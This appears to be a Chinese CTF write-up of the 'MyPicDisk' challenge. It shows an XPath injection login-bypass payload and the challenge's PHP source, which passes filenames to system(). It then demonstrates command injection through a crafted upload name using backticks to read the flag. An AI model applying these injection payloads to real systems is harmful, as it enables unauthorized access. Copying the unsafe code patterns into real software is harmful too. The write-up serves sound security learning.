过程
开启容器,发现以下表单,表单信息通过post方法传送
通过xpath万能注入
1
| username=admin'&password=']|//*|//*['&submit=%E7%99%BB%E5%BD%95
|
注入成功,burp观察返回包发现注释信息获得提示下载源码/y0u_cant_find_1t.zip
得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121
| <?php session_start(); error_reporting(0); class FILE { public $filename; public $lasttime; public $size; public function __construct($filename) { if (preg_match("/\//i", $filename)) { throw new Error("hacker!"); } $num = substr_count($filename, "."); if ($num != 1) { throw new Error("hacker!"); } if (!is_file($filename)) { throw new Error("???"); } $this->filename = $filename; $this->size = filesize($filename); $this->lasttime = filemtime($filename); } public function remove() { unlink($this->filename); } public function show() { echo "Filename: " . $this->filename . " Last Modified Time: " . $this->lasttime . " Filesize: " . $this->size . "<br>"; } public function __destruct() { system("ls -all " . $this->filename); } } ?> <!DOCTYPE html> <html>
<head> <meta charset="UTF-8"> <title>MyPicDisk</title> </head>
<body> <?php if (!isset($_SESSION['user'])) { echo ' <form method="POST"> username:<input type="text" name="username"></p> password:<input type="password" name="password"></p> <input type="submit" value="登录" name="submit"></p> </form> '; $xml = simplexml_load_file('/tmp/secret.xml'); if ($_POST['submit']) { $username = $_POST['username']; $password = md5($_POST['password']); $x_query = "/accounts/user[username='{$username}' and password='{$password}']"; $result = $xml->xpath($x_query); if (count($result) == 0) { echo '登录失败'; } else { $_SESSION['user'] = $username; echo "<script>alert('登录成功!');location.href='/index.php';</script>"; } } } else { if ($_SESSION['user'] !== 'admin') { echo "<script>alert('you are not admin!!!!!');</script>"; unset($_SESSION['user']); echo "<script>location.href='/index.php';</script>"; } echo "<!-- /y0u_cant_find_1t.zip -->"; if (!$_GET['file']) { foreach (scandir(".") as $filename) { if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) { echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>"; } } echo ' <form action="index.php" method="post" enctype="multipart/form-data"> 选择图片:<input type="file" name="file" id=""> <input type="submit" value="上传"></form> '; if ($_FILES['file']) { $filename = $_FILES['file']['name']; if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) { die("hacker!"); } if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) { echo "<script>alert('图片上传成功!');location.href='/index.php';</script>"; } else { die('failed'); } } } else { $filename = $_GET['file']; if ($_GET['todo'] === "md5") { echo md5_file($filename); } else { $file = new FILE($filename); if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") { echo "<img src='../" . $filename . "'><br>"; echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>"; echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>"; } else if ($_GET['todo'] === "remove") { $file->remove(); echo "<script>alert('图片已删除!');location.href='/index.php';</script>"; } else if ($_GET['todo'] === "show") { $file->show(); } } } } ?> </body>
</html>
|
分析源码,发现有文件上传白名单(jpg|jpeg|gif|png|bmp后缀名)
继续分析,发现class FILE的system("ls -all " . $this->filename);
处存在命令拼接
但是有条件,必须保证文件名有且只有一个.
,并且不能含有\/
接下来想方法绕过
首先上传文件1111.jpg,文件内容为ls /
用来查看根目录flag文件名
接下来上传名为;`cat 111*`;1.jpg
的文件再进行?filename=;`cat 111*`;1.jpg&todo=show
,发现成功执行了命令,返回得到flag路径adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
最后更换文件内容为cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
,再次执行命令得到flag
原理
xpath注入
题目中xpath查询语句拼接后为
1
| /accounts/user[username='admin'' and password='']|//*|//*['']
|
其实后面不重要,因为admin的引号已经将查询语句闭合了
相当于
1
| /accounts/user[username='admin']
|
于是相当于查询是否有admin账户,得到结果
rce
;
可以分隔一串命令
`
Linux中反引号的作用是在将反引号内的命令处理完毕之后,会将返回的信息传给反引号的位置,再次执行命令
后记
看了网上好多wp,发现我的做法貌似是非预期
预期解是md5_file函数结合phar打的
太菜了太菜了,别的题目为什么不写wp,因为都不会。。。。。